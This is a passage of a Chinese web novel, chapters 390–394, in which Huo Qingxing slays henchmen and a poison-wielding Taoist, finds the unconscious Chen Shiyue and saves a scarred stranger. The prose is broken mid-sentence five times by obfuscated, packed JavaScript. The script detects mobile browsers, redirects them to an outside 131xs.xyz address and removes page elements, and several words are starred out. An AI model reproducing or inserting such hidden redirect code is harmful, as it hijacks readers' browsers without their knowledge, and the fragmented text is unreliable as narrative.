“一定是他们干的!一定是他们!”瘸子歇斯底里,“在哪?藏在哪儿?” 山野的风,呼啸而过,谁知道在哪呢? 霍青行就站在黑暗中,怀中抱剑,背靠着树干而立,耳畔是风,是嘶吼,是呜咽的哭声,他们害人的时候理直气壮,刀子架在自个脖子上终于知道哭了? 活该! “我们先回去,快!”余毒未清那位,倒是有几分理智。 能悄无声息的**,就能继续追杀他们,只要还在外面晃,都有生命危险,只有白发老道那边是最安全的。 “走!快走!” 可惜,还是晚了一步。 “走不了!”霍青行挡在二人跟前,“是你们自己了断,还是我送你们一程?” 两人皆是一愣,其后怒火中烧。 “是你!是你杀了我们兄弟。” 霍青行音色平静,“不该死吗?” “你也别想好!” 二人旋即扑了上来,可一个瘸子,一个余毒未清的,怎么可能是霍青行的对手?手起剑落,鲜血飞溅,旋即便有一颗脑袋咕噜噜的滚落在树下。 下一刻,又是一剑穿心。 霍青行的速度很快,剑**的时候,连带着将血都擦干净了。 黑暗中,有浓郁的血腥味弥漫开来。 霍青行收剑归鞘,抬步就走。 山中有不少猛兽,这些就当是给它们加餐了! 没了这三个人为虎作伥,看那白发老道还能掀起什么风浪来? 蓦地,脚下一顿。 霍青行旋即纵身一跃,消失在黑暗中。 “人呢?” 有人从黑暗中窜出来。 “怎么那么快?就这么一眨眼的功夫,怎么人就不见了?” “还愣着作甚?快找!” 是啊! 得找。 只是,上哪儿去找呢? “快找!” 不管上哪儿去找,那都得找。 完不成任务,都得跟着倒霉! 语罢,一群人不敢明火执仗,只能盯着两眼黑,一个劲的往前冲,一个劲的往四周找,可霍青行就在上面站着,愣是无一人抬头看。 哦,黑灯瞎火的,抬头也看不清楚,这帮人根本不敢打草惊蛇…… 为什么? 因为霍青行连他们**都揍! 连**都不是霍青行的对手,再多的人凑上去,那也只是个凑人头送死的,是以只敢远远的盯着,连靠近都有送命的危险。 霍青行站在树上一动不动,瞧着他们到处找都找不到人,最后不得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16204147|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把三具尸体丢在洞口,然后灰溜溜的离开。 白发老道不好惹,这是个一发火就会下毒的主,靠太近会死! 要想离开不归林,只有两条路,一条路是牵着绳索进来,其后小心谨慎留记号,最后跟着绳索出去,另一条出口就在白发老道的山洞内。 “这老道不好惹,我们走!”黑影快速后退,“反正这些人被困在不归林,一时半会是出不去的,就算要出去,也得过老道这一关,所以没什么可担心的。” 霍青行挑眉,原来出口在这? 踏破铁鞋无觅处,得来全不费工夫。 黑影快速离开,霍青行则轻飘飘的落下,再度进了洞窟。 等送了迎春和冬梅离开,他便可以放开手脚,好好找陈识月的下落,他的月儿到现在为止都下落不明,肯定是躲起来了。 说不定是那个长蛇精在装神弄鬼,等收拾完了这白发老道,定要好好收拾那厮…… 山洞内。 白发老道已经将所有的物什都收拾妥当了,只不过他左等右等,始终没等到那三个废物回来,暴躁的脾气得不到安抚,顷刻间又开始跳脚。 只不过…… 刚走到洞口,乍一眼三具尸体,整个人都僵在了原地。 一个两个都死得透透的,连一点转圜的余地都没有…… “**?怎么会都**呢?”白发老道一下子慌了神,“怎么会……” 蓦地,他想到了一个人。 之前瘸子说的,武功奇高的男人?! 心下一紧,他忽然往后退,几乎是以迅雷不及掩耳之势,放下了洞口的挡门石。 只听得“砰”的一声响,尘烟四起。 霍青行隐匿在黑暗中,倒也是真的庆幸,要是自个没进来,怕是真的会被堵在外面。 “这下子,总不可能再进来了吧?”白发老道捂着心口,“该死的东西,坏我好事,我不会放过你们的!我一定要你们好看!” 语罢,他念念叨叨的往回走,然后不断的启动陷阱。 霍青行如影随形,始终跟着白发老道的脚步。 如此,便可记下该走的路,避开他所有的陷阱,以免到时候害了冬梅他们。 “我要弄死你们,我要弄死你们……”白发老道疯了似的,回室内找**。 第三百九十章 谢天谢地,媳妇找到了 白发老道疯疯癫癫,絮絮叨叨。 霍青行屏气凝神,只静观其变,且看他还能玩出什么花样来? 不得不说,疯子的脑回路和一般人是真的不一样,忽然间好似想起到了什么,竟抱起了一摞瓶瓶罐罐,转身朝着外头走去。 霍青行冷静的跟着,看着这白发老道钻进了一个洞内,这洞很是狭小,要进去得四肢落地爬进去,也不知道这里面是什么? 但是白发老道举着火把,所以隔着一段距离,霍青行也能依稀瞧见里面的景象,比如说白发老道的动作,好像是把瓶瓶罐罐里的东西,都擦在了某个东西上面。 擦地上? 不对,那应该不是地上,而是盖子? 在这里面? “让你们死!都给我死!”白发老道将瓶瓶罐罐擦满了这盖子周遭,把手上更是用了好几种剧毒。 如此一来,谁敢触碰谁就得死,甚至于这毒沾上肌肤之后,就会导致肌肤溃烂化为毒脓。 做完这些事情,白发老道才心满意足的爬出来。 “只要你们还在不归林,我就有办法让你走不出去!”白发老道深吸一口气,“通道都被我堵**,看谁还能救你们?” 霍青行眉心微凝,要是月儿在这里……那该多好? 月儿什么都会! 待老道离开之后,霍青行蹲在洞口看了两眼,这地方一次只能通行一人,并且里面那个盖子上都有剧毒,第一能进去的人,必须是会解毒之人。 完了。 要出去,怕是没那么容易。 即便冬梅和迎春他们恢复过来,这一时半会的怕也没办法脱身。 该死的东西! 那么问题来了,月儿到底去了何处? 白发老道回到了室内,对于周遭的狼藉很是不悦,虽然收拾了一下,可一下子失去了三个劳动力,让他所有的事都那样不顺,只能扭动墙面上的油灯,打开了秘门。 霍青行的脊背僵直了一下,这里怎么还有一道门呢? 心下一惊,刚要跟上去,却发现一道黑影快速窜了出去,速度比他还快,几乎是一眨眼的功夫,这不是那个怪人又是何人呢? 不得不说,他的执着让人佩服,就像是黏上之后怎么都甩不掉,动不动就窜出来,打不过就跑,跑了再回来捣乱。 乐此不彼,循环往复。 他这一出现,白发老道就开始发疯,“来得正好,这一次定叫你有来无回!这里可没什么食人藤,看我不活剥了你的皮!” 霍青行缓步靠近,站在秘门外头,能听到里面的厮杀声还有白发老道的喊声,可见打得很热闹。 “该死的东西!”白发老道怒喝。 里面骤然传来了一声闷响,伴随着痛苦的嗯哼。 一道黑影猛地窜出来,应是那怪人无疑。 黑影再度消失,可能是中了暗算,愣是跑得飞快。 这下子,白发老道就更恼火了,“算你跑得快!每次都来捣乱,捣完了乱就跑,下次别再让我抓住你,要不然的话,我就……我就拿你来试药!你以为你一身毒就没事了?你以为你不怕毒就没事了?我告诉你没完!这件事没完!” 白发老道骂骂咧咧结束之后,又回到了秘门里面。 但霍青行没有追进去,他对里面不熟,若是出什么岔子,自只怕是真的要陷进去了,冬梅和迎春他们还没恢复,月儿还不知所踪,他不能自投罗网。 转身,离开。 霍青行去追怪人的踪迹,这人的速度很快,但洞门已经关闭,所以应该还在洞内,一时半会是不可能出去的。 人,肯定还在这里面。 只是,在哪呢? 空气里,似乎隐约有点……血腥味? 他受伤了? 霍青行立身黑暗之中,若有所思的环顾四周,循着血腥味的来源去找,一步一顿,小心谨慎,以免暴露自身。 终于,他止步。 在一个角落里,他瞧见了蜷成一团的黑影,这应该就是怪人无疑。 他大概是在整理伤口,又或者是中了白发老道的毒,疼得哼唧哼唧的,许久都没有挪动身子。 霍青行就在暗处看着,不敢惊扰了他,免得到时候他又跑了。 怪人站起来了,佝偻着腰,像极了消瘦的猴子,亦步亦趋的往前走,也不知道是要去往何处?但他走得还算是小心,只是捂着心口一瘸一拐的,不是中了毒就是受了伤。 那个白发老道下手极狠,自然是不留余地的,若是中招必定伤得不轻…… 终于,怪人停了下来,然后钻进了一个小洞内。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210684|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 里面很是安静,没有任何的动静。 霍青行皱起眉头,这是在作甚? 他之前一直躲在这里? 应该是的,否则他不会出现得那么及时,也不会出现得那么快。 正想着,远处忽然传来了响动。 心下一紧,霍青行纵身一跃便落在了上方的岩石后,阴暗的角落正好将他藏得严严实实。 是白发老道! 这老匹夫必定也想到了霍青行所想,觉得怪人肯定藏在洞内,所以着急忙慌的追来了,尤其是空气中似有若无的血腥味,炼药之人怎么可能闻不到呢? 霍青行皱起眉头,心下有些担忧,指尖捻起了一枚小石子,忽然间朝着反方向丢掷出去。 只听得“咕噜”一声响,回音在洞窟内流转。 白发老道旋即循声追去。 这一动静,也惊动了躲起来的怪人,旋即钻了出来,撒腿就跑。 动静接二连三的响起,白发老道好似意识到了什么,吧嗒吧嗒的追过来,“我就知道,你这该死的东西,一定藏在我这里!别跑!别跑!” 霍青行纵身而下,快速找到了怪人方才躲藏的山洞。 果然…… “月儿?”霍青行心惊。 他慌忙爬进去,一颗心已然沉到谷底。 在这里面躺着一个人,一动不动,即便外面闹了这么大的动静,她仍是没有任何的反应,就像是睡着了,又像是……活人微死。 这状态不对劲! “月儿?”霍青行能看到羸弱的萤光,能闻到她身上独有的气味,喊出她名字的那一刻,整个人都在颤抖。 他的月儿怎么了? “月儿?”霍青行第一反应是探她鼻息。 还好! 还有呼吸。 脉搏却有些异常,时断时续,还真是有种活人微死的状态。 这到底是出了什么事? 陈识月双目紧闭,黑暗中就像是一具尸体,体温很低,但不是完全失温,呼吸虽有,却是十分羸弱,即便霍青行连唤几声,都没有让她醒转。 受伤? 不对,她自身的自愈能力很强大,即便再重的伤,只要还有一口气,就可以逐渐恢复。 管不了那么多,先带走再说。 第三百九十一章 谁强打谁,渔人得利 霍青行带走了陈识月,自己的人还是自己亲自护着为好,谁在身边都不能让他放心。 昏暗中,陈识月双目紧闭,躺在那里一动不动。 霍青行褪了外衣覆在她身上,伸手轻轻抚过她微凉的面颊,眉心紧蹙在一起,心内疼得厉害,怕不是受了伤太重,所以蛊虫不断的修复自身,让宿主陷入了沉睡之中。 此前,到底发生了何事? 黑暗中,隐约有打斗声、叫骂声响起。 霍青行眉心微蹙,走出了洞窟,按照此前的法子,寻了石头挪过来,暂时督主了洞口,如此一来便可确保陈识月的暂时安全。 想来是白发老道和怪人开始了撕扯,怪人的身上还有伤,肯定不是白发老道的对手,尤其是这个山洞不是怪人自己的那个,如此前所言,没有食人藤的帮助,怪人如今的状态很难有胜算。 霍青行赶到的时候,怪人已经躺在地上,白发老道就在边上站着,几近咬牙切齿笑着。 “你终于走出了那个山洞,终于落在了我的手中。” 他垂涎这副身子骨已经很久很久了,别看这人古怪得很,又不怎么会说话,甚至于疯疯癫癫,但他的体质特殊,能用自身血肉饲养出这么一群食人藤,本身就是不可多得的存在。 “等我把你拖回去,让你成为我的药人,我的百毒丸一定可以成功,到了那时候,我就是天下第一毒人,看以后谁还能奈何得了我?”白发老道的兴奋,无以言表。 一个人待了太久,就会攒一肚子的话。 无人说,就习惯了自言自语。 所以这会的白发老道,一个人絮叨得没完,这么大的成就无人分享无人共享,他心里那叫一个憋闷,不过没关系,他觉得自己很快就会成功了,成功的喜悦能胜过一切。 霍青行皱眉,不能让他把人带走。 然而,就在他几欲出手的前一刻,不知道从哪儿来的一阵阴风,冷不丁直扑向白发老道,惊得毫无准备的他连连后退。 紧接着,霍青行便瞧见了有一道黑影,以迅雷不及掩耳之势,扣住了怪人,快速窜起,几个落点便消失在视线之中。 速度之快,快如闪电。 霍青行是真的没料到,居然会半路杀出个程咬金,回过神来当即去追,这怪人可能知道当年潜龙关一战的内情,即便他此刻神志不清,也不能就此放任不管。 哪怕只是一点点的希望,那也是希望…… 白发老道被逼退几步,眼睁睁看着到手的猎物消失,怎能甘心?这可是他的地盘,一次次的被挑战底线,气得暴跳如雷,撒腿就追。 他的药人! 他的药人! 白发老道在追,霍青行也在追,可对方不只是功夫好,还熟悉地形,以至于拐几个弯,就消失得无影无踪,饶是白发老道也跟着有些愣怔。 不可能! 洞门已经关闭,人不可能消失。 “还在这里面,一定还在!” 他絮絮叨叨的,目光掠过周遭,一定是藏起来了,就是不知道藏在了何处? 待白发老道疯似的冲出去之后,霍青行却站在原地没动,黑暗的确是最好的隐藏方式,但如白发老道所言,洞门都关闭了,人怎么可能跑出去? 既然跑不出去,那就还在这里面。 只是,无人所见罢了。 霍青行没有出剑,但却出手了,“障眼法不错!” 可惜,骗不了他的眼睛。 对方没料到霍青行居然看出来了,当下扯开了黑幕,对上了霍青行。 这一交手,霍青行自己都愣了一下,好俊的功夫! 只不过,现在的霍青行身上带了点伤,如果真的动起手来,怕是要吃亏,但即便如此,也不能让人把怪人带走。 “是你杀了毒先生?”男人几乎第一眼就认定了真相。 霍青行没回答,什么毒先生不毒先生的,在自己的能力范围内,谁敢欺负月儿,谁就是他的仇敌,死都是轻的! 双方一交手,即便是黑暗之中,霍青行也能察觉到异常,就好像这些功夫路数,有种莫名的熟悉之感?好像在哪见过? 但眼下打赢才是关键,所以霍青行并未多想。 “我就知道,我就知道一定还在这里!” 白发老道屁颠颠的跑回来,又气又恼。 人不可能跑远,一定还在自己的眼皮子底下。 “你们一个都别想跑。”白发老道不是说说而已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210685|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他可是用毒高手,在自己的地盘上还不能自主,这还说得过去吗? 拂袖间,白色的粉末挥洒而出。 霍青行跟陈识月待久了,对于这样的事儿,第一反应是旋身避开,拂袖间便往嘴里塞了一颗解毒丸,管他这是什么毒,时间就是生命,能多喘一口气,就能弄死这两个混蛋玩意。 不过,对方似乎也正有此意,纵身离开的瞬间,拂袖掸去那些白色粉末。 但……人总是要呼吸的,只要呼吸就挡不住这些,多多少少会就此吸入,所以在他稳住身形的那一刻,止不住弯了一下腰,捂住了心口的位置。 “我这穿肠蚀骨的毒,岂能是你们想避开就能避开的!进我的地盘又吃又拿的,真当我这是什么地方?由得你们想来就来,想走就走?”白发老道看出来了,霍青行避开得太及时,且没有任何异常,大概是存了几分侥幸。 但另一个人可能没那么幸运了,身形摇摇欲坠,眼见着是中了毒的症状…… 说时迟那时快,白发老道一掌直逼向黑衣人。 霍青行睁眼一瞧,哟,好机会,此时不落井下石,更待何时?二话不说就帮着白发老道,也给了那人一掌。 白发老道有点懵,怎么还帮上自个了? 黑衣人刚避开了二人的杀招,别开头便是口中涌出一口血来,当即转身想跑,却见着霍青行忽然掉头,冷不丁给了白发老道一掌。 一瞬间…… 白发老道懵了,黑衣人也愣了。 霍青行一个都不帮,谁强就打谁,弱的不能死,强的就该揍,如此一来便有了两只弱鸡。 他左戳一杠子,又戳一杠子。 白发老道猛地挨了一掌,身形一晃险些扛不住,转头又被黑衣人趁势拍了一掌,登时连退数步,要不是扶着岩壁,怕是已经瘫坐在地。 见此情形,霍青行直扑黑衣人而去。 双方即刻交手,对方即便中了毒,亦是身手不凡,要不是白发老道那一下,估摸着更甚,还好霍青行使诈,一掌便落在了对方的肩头。 身形稍偏,却也挡不住这千钧之力,身子如离弦之箭,被狠狠震飞出去。 此时不拿下他,更待何时?! 第三百九十二章 他不会是逃兵吧? 霍青行出手太快,对方有些力不从心,被震飞出去之后想要爬起来,却也是力有不逮,在霍青行第二次出手的瞬间,猛地一个驴打滚,生生避开了他的第二掌。 忽然间的嘶嘶声,一下子从侧边袭来,霍青行反手便是一剑,只听得剑声嗡鸣,生生震得手心发麻,好坚硬的物什? 是蛇鳞。 坚不可摧如同盔甲一般。 霍青行还真是没想到,长阴会忽然出现,一个蛇尾便当场甩了过来,乱石被它甩得噼啪全飞,连刚冲过来的白发老道都受到波及,躲避不及时,被石头狠狠砸破了脑袋。 脑子一晃,人也跟着晃在地上,白发老道捂着脑袋瘫坐在地,愣是急得破口大骂,“又是你这条畜生!我一定要告诉门主,一定让门主收拾你们!” 长阴却没有停留,而是像有目的而来,卷起了黑衣人就跑,速度很快。 浓郁的腥臭味,在空气里弥漫开来。 但岂敢随意去追,毕竟这是一条大蛇,且霍青行方才也试过了,这条蛇的蛇鳞与寻常不同,之前他斩的那几条过山峰,不过是一刀两断,但是这次不一样…… 真的,不一样! 既是如此,那必不能再追。 穷寇莫追,且陈识月还在洞里躺着呢,他可不能因小失大,谁再重要,也没有他的月儿重要。 长阴卷了黑衣人跑了,留下白发老道还在骂骂咧咧。 只是下一刻,空气忽然凝滞,四下陡然安静下来。 一片死寂。 大概是意识到了什么,白发老道的声音戛然而止,连带着呼吸声都猛地一滞。 霍青行徐徐转身看向他,“你是自我了断,还是我来送你一程?” 这话,很耳熟。 白发老道扶着岩壁站起身来,额头上有血不断的往外渗,黑暗中瞧不清楚模样,却能感受到来自于他身上散发出的血腥味。 “呵,你我前世无怨,今世无仇,为何要如此穷追不舍,非要置我于死地?”白发老道往后退,“你可是有所图?若是如此,不如说出来,我若是能办到,必定不会推辞。大家各退一步,如何?” 霍青行站在那里,瞧着他步步后退,“想用毒来害我?” 白发老道:“……” “怕是来不及了。”霍青行的速度很快,不过是眨眼间的功夫,宛若一阵风,猛地从他身边掠过。 紧接着,便是一声闷响。 那是重物落地的声音。 白发老道只觉得脖子一凉,手中的粉末还来不及撒出去,人已经重重的摔倒在地。 一伸手,脖子上便是湿漉漉的,满手的黏腻。 他想喊出声来,却只剩下了咕咚咕咚的,鲜血涌出嗓子眼的声响,伴随着身子骤然的失温,在这地方是不可能有人来救他的。 霍青行没有靠近,怕毒蛇临死前咬自己一口,只回头看了一眼就抬步离开。 割喉,不可能活。 他对自己的下刀准头,还是很有自信心的。 离开一段距离,确定身后没有动静,霍青行快速转回去看陈识月。 陈识月依旧昏睡着,瞧着一直没苏醒。 想了想,霍青行便挪好了岩石,转身去找冬梅他们。 既然白发老道都**,那这山洞应该还算安全,但还是要尽快离开,那条长虫不知道从哪儿冒出来的,不知道还会不会再出来伤人。 “姑娘没事!”冬梅险些喜极而泣,“没事就好,没事就好!” 迎春粗略的检查一遍,“瞧着没有皮外伤,也没有内伤,只是……怎么会叫不醒呢?” “之前姑娘不也叫不醒吗?”冬梅一怔。 迎春张了张嘴,抬眸望着霍青行,到嘴边的话又生生咽了回去,隐约能猜到一些,但不好多说,免得引起不必要的担虑。 “先出去再说吧!”霍青行开口,“想来外面已经有人在等着抓我们了。” 冬梅嗤了一声,“这玩意怎么在这?” 怪人蜷缩成一团,要是套个蜗牛壳,就能蹲这装蜗牛了。 “受了伤,还中了毒。”霍青行解释,“我从那老道手里抢回来的,那个黑衣人也想抓他。可惜没防备住,让老道抢了先,最后只能被那条蛇带走。” 这里面肯定有事! “要抢这怪人?”迎春愕然,“这是何故?” 冬梅想了想,“会不会是顺手?” “谁顺手能顺到这黑不溜秋的地方?”迎春摇摇头,“这怪人的身上肯定有秘密,他们想要却得不到,所以趁着他难得走出来的机会,赶紧就抓住他?” 霍青行也觉得,迎春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217364|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的猜测有些道理。 怪人不出山洞,外面的人很难进去,进去了也很难找到他,听白发老道之前所言,应该是有些忌惮那些食人藤的,所以外人轻易不敢进入。 何况那个山洞内,多数都是毒虫和毒蛇,还真是…… “可是,他为何会出来呢?”冬梅不解。 迎春也不太明白,“不懂他为何出现在这里?说起来,也是他救了我们吧?” “也算是我的救命恩人吧?”冬梅道。 迎春点点头,“算!” 要不是怪人出现,冬梅肯定被那老道拿来试药了,那颗药碗到底有多毒,委实无人知晓,但绝对不死也残。 “那该救他的。”冬梅忙过去,“喂?” 怪人许是真的伤得不轻,竟无任何的反应。 “喂?”冬梅又喊了一声。 见此情形,迎春快速上前,“不会是晕了吧?” 总不能**吧? “喂?”冬梅轻轻一推。 怪人登时栽倒在地。 冬梅:“……” 迎春:“……” 不会真的**吧? 霍青行也急了,这怪人暂时不能死,他还想知道,关于潜龙关的事情呢! “没死!”迎春一探鼻息,“还活着呢!” 脉搏也还在跳。 只是,伤得不轻。 “我们先看看。”迎春和冬梅赶紧上前,不说别的,先给他看看外伤。 虽然不知道这毒该怎么解,但是外伤……她们还是能帮上忙的。 “他这身上……”冬梅诧异,“怎么这么多的伤疤啊?” 即便瘦骨嶙峋,全身骨头都有些歪曲,全身上下几乎遍布伤痕,好像是各种利器所伤。 “这是箭伤吧?”迎春愕然,“这应该是鞭痕。” 他身上几乎没有好地,入目所见,皆是伤痕累累。有些因为疤痕增生而凸起,瞧着十分可怖。 霍青行蹲下来,借着羸弱的火光,看清楚了怪人身上的一道道疤痕,新伤旧伤叠加在一起,有些疤痕早就看不清楚是什么所伤。 “这不是受了重刑,就该是……被人一路追杀?”迎春小声嘀咕,“总不可能是逃兵吧?” 霍青行心下一怔。 逃兵?! 第三百九十三章 她沉睡,等于修复 霍青行还真是有所触动,如果真的是行伍之人,是逃兵,那就说得过去了,但是……能一身伤痕的兵,怎么可能是逃兵呢?除非,是从潜龙关逃回来的,因为知道了太多的秘密,所以不敢再展露人前。 这怪人可能知晓潜龙关战败的内情,被人追杀,便跑到了这深山老林里,可能因为伤重,或者是被别的什么缘故,导致了他神志不清,躲在那个山洞里,以自身血肉饲养食人藤,作为自己的藏身之所。 “他可能知道一个大秘密。”霍青行意味深长的看向冬梅和迎春,“一定不能让他有事,他必须得活着。” 冬梅和迎春对视一眼,既然是有大用处,自然不能**。 “倒是没瞧见很明显的皮外伤,都是一些陈年旧伤,还有就是……毒。”迎春犹豫了一下,“少将军,这事儿咱处置不了。” 既然是**和内伤,那就只能等着陈识月醒来之后再作打算,其他人没这个本事,自然也救不了怪人,凡事必须往后延。 “姑娘不知道什么时候能醒。”冬梅迟疑了,“会不会等姑娘醒来,他已经扛不住了?” 迎春眉心一皱,“莫要乌鸦嘴,都会没事的。” 冬梅讪讪一笑,不再说话。 这谁知道呢? 四下,静悄悄的。 霍青行没说话,甚至于不敢轻易拿解毒丸,怕到时候救不了这怪人,回头还把人给毒**,毕竟一个能养出食人藤的怪人,身上肯定是有毒素的,这解毒丸万一与他体内的毒相冲…… “要不然,先出去?”迎春低声开口。 出口那位置,都被擦了毒,等于说他们现在也出不去,但是这洞口外头……估摸着都是长乐门的人,现在一帮人**的**,受伤的受伤,若是打起来,怕是都会吃亏。 “先等等!”霍青行下定决心。 先等等。 月儿,你可一定要快点醒! 陈识月没有让霍青行失望,半个时辰之后,陈识月醒了。 霍青行大喜过望,“月儿?月儿你醒了!” 陈识月浑浑噩噩,眼神有些迟滞,直勾勾的盯着前方没有任何反应,好像是被人勾走了魂魄一般,整个人都有些恍恍惚惚的。 “姑娘?姑娘?”迎春心下砰砰乱跳,“这怎么有点……” “像被勾了魂一样?”冬梅惊呼。 迎春摁住她,“别乱说,可能是没睡醒?” 霍青行没吱声,就这么静静的注视着陈识月,他很清楚发生在陈识月身上的事情,若是真的有什么闪失或者是异常,那只能说……跟蛊虫有关。 “我……”陈识月终于缓过神来,“怎么了?” 霍青行长长吐出一口气,谢天谢地,终于醒了,彻底醒了。 “没事!”霍青行轻轻的抱了抱她,“就是你睡得太沉了,所以大家都很担心你,如今见着你醒来,便也哦度放心了,没事了!” 迎春和冬梅对视一眼,示意冬梅不要乱说话。 冬梅到了嘴边的话,又被生生咽了回去。 不能乱说话! “我又睡着了?”陈识月皱起眉头,“一睡不醒,吓着你们了吧?” 迎春忙道,“没有没有,姑娘没事便是万幸。” “月儿,你到底去哪儿了?怎么没有在山洞里等我们回来?”霍青行不明白,“此前我不是告诉你们,千万不要随意走开吗?” 陈识月揉着眉心,晃了晃沉重的脑袋,“我记得当时好像是……好像是……怎么回事呢?我一下子没想起来,记不清楚了,好像是有人来了……然后我被推出去了。” 后来呢? 后来怎么回事? “被推出去?是那个怪人推的你?”迎春忙问。 陈识月一顿,“怪人?” 瞧着他们目光所及的方向,陈识月看见了蜷在角落里的怪人,眉心微微拧起,“不是,不是他,是一个黑影,当时我就摔出去了,失去了意识。” 后来发生何事,她是真的一点印象都没有。 “发生的时间很短,那人的速度很快,我几乎来不及作反应,只闻到了一股子血腥味。”陈识月垂下眼帘,努力回想着当时的细节,“失去意识之前,我听到他喊了一声,你疯了?” 霍青行一顿,“你疯了?” “对,那个人对怪人说的吧?”陈识月解释,“我当时就被摔晕了,他的力道很大,似乎是冲着要我命来的,至于我现在为什么还能活着,我就不清楚了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16217365|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 霍青行看向昏迷不醒的怪人,“是他!他救了你,把你带出来了,所以他自己身上带伤,却被人一路追杀。” 因为要带着陈识月,所以这怪人受了伤,被人一路追杀之下,他便藏进了白发老道的洞窟,这才有了后面,及时出手搭救冬梅之事。 “如此说来,他也算是救了姑娘一命。”迎春忙道。 陈识月心下一惊,“他怎么了?” “这洞窟里有个白发老道,善用毒,所以……”霍青行迟疑了片刻,“内伤外伤,加上**……” 简直是要命! 闻言,陈识月忙不迭起身,“我看看!” “小心点。”霍青行搀着她。 陈识月大概是睡得太久,这会浑身无力,身上的骨头都在叫疼,应该是此前被推出去受了重伤,睡了这一长觉,还没能让她恢复过来。 身上的暗伤还在恢复之中,疼痛让她止不住冷汗直冒。 “别逞强,身子要紧。”霍青行担忧的看向她。 陈识月摇摇头,“我没事,你放心。” 蹲坐在怪人的身侧,陈识月扣住了他的腕脉,面色凝重得无以复加,本来就是古怪至极的脉象,如今更是雪上加霜,若是换做其他人,九条命都没了,可他愣是熬到了现在。 谁也不知道,究竟是什么支撑着一个人,熬过一次次的旧疾复发,在这荒芜的地方,一个人孤独的苟延残喘? 是的,苟延残喘。 他这副身子骨,若不是一口气撑着,早该油尽灯枯了…… “他如何?”霍青行凑上来,“能活吗?” 陈识月看向他,“你希望他活吗?” “嗯!”霍青行点头,“我们不是都有疑虑吗?总觉得他可能就是我们要找的真相,看他身上的伤,我们现在越发怀疑,他可能就是边关逃回来的。” 如此年岁,这般伤势,再加上处境…… 陈识月点点头。 “我会尽力救治的。”陈识月看向怪人,“他能撑到现在,应该也是想要做点什么的吧?每个人都有心里的执念,只要这个执念还在,就一定可以熬过去的。” 药还在,针包也在,她就有把握能让他缓过劲来…… 第三百九十四章 捂住他的眼睛,不许看 陈识月的医术自然是毋庸置疑的,所有人都小心翼翼的等待着。 霍青行轻轻擦去陈识月额头的冷汗,看得出来,她大概也是对这副身子骨有些无措,毕竟许多骨骼都已经移位,所以银针刺穴的时候,必须要十分谨慎。 一番诊治下来,待收起针包的时候,陈识月的手都在颤抖,若无十足的把握,这银针都未必能刺中穴位,奈何不了这怪人。 “没事。”陈识月低声开口,“至少能保住他这一口气不,让他继续活下去。” 这世道,每个人都活得很艰难。 能留一口气,真是不容易。 “这么看起来,他也是挺可怜的。”冬梅低声说。 陈识月没说话,霍青行第一时间搀她靠在一旁休息,伸手轻轻搓揉着她冰凉的手。 十指纤纤,指尖都有茧子。 许是她自己也有些诧异,所以方才下针的时候全神贯注,这会十根手指都是凉的,霍青行早就察觉到了异常,一直在边上随时准备着。 “我没那么紧张,你别这样。”陈识月瞧了一眼众人。 众人看看天,看看地,看看岩石,看看对面的他。 反正,就是不看他们二人。 不敢看,不敢看。 “关他们何事?这是我的事。”霍青行全然不管其他人,对一个人好,不需要旁人佐证,只需要发自内心,什么流言蜚语,什么怪异的目光,他可不在乎。 战场上刀头舔血,生死都经历过了,还会在乎人言可畏? 呵。 不怕死的人,先享受幸福。 